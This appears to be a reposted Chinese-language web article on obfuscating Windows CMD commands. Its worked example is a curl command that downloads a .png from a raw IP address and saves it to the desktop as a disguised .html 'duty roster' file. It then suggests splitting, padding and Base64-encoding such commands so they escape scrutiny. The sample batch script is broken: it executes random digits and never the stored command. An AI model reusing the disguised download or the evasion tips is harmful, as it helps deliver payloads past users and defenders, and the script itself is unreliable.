Win10 CMD 命令混淆技巧

以下是一段在 Win10 CMD 中执行的命令,用来下载图片:

'curl -o C:\Users\%username%\Desktop\生成值日表.html http://103.215.36.226:8007/uploadimg/img/2023/0908/1694156831958000.png'

本文将介绍一种简单的方法,将该命令混淆,使其不易理解,从而保护你的命令不被窥探。

命令混淆步骤

  1. 将命令分解为多个部分,并使用变量存储每个部分。
  2. 使用字符串连接符将这些部分连接起来。
  3. 在连接的字符串中添加一些无关字符或者特殊字符,以增加混淆度。
  4. 最后,将混淆后的命令传递给 cmd 执行。

命令混淆示例

set 'cmd=curl -o C:\Users\%%username%%\Desktop\生成值日表.html http://103.215.36.226:8007/uploadimg/img/2023/0908/1694156831958000.png'
set 'obfuscatedCmd='
for /L %%i in (1,1,100) do (
    setlocal enabledelayedexpansion
    set 'randomChar=!random:~-1!'
    set 'obfuscatedCmd=!obfuscatedCmd!!randomChar!'
    endlocal
)
cmd /c %obfuscatedCmd%

注意

混淆后的命令可能会导致不易理解和调试,使用时需谨慎。

其他混淆方法

除了上述方法,还可以使用其他方法来混淆命令,例如:

  • 使用编码工具将命令进行编码,例如 Base64 编码。
  • 使用代码混淆工具,对命令进行混淆处理。

总结

命令混淆可以有效地保护你的命令不被窥探,但它也会带来一些负面影响,使用时需谨慎权衡利弊。

本方法仅供学习和参考,请勿用于非法用途!

Win10 CMD 命令混淆技巧 - 保护你的命令不被窥探

原文地址: https://www.cveoy.top/t/topic/oqLs 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录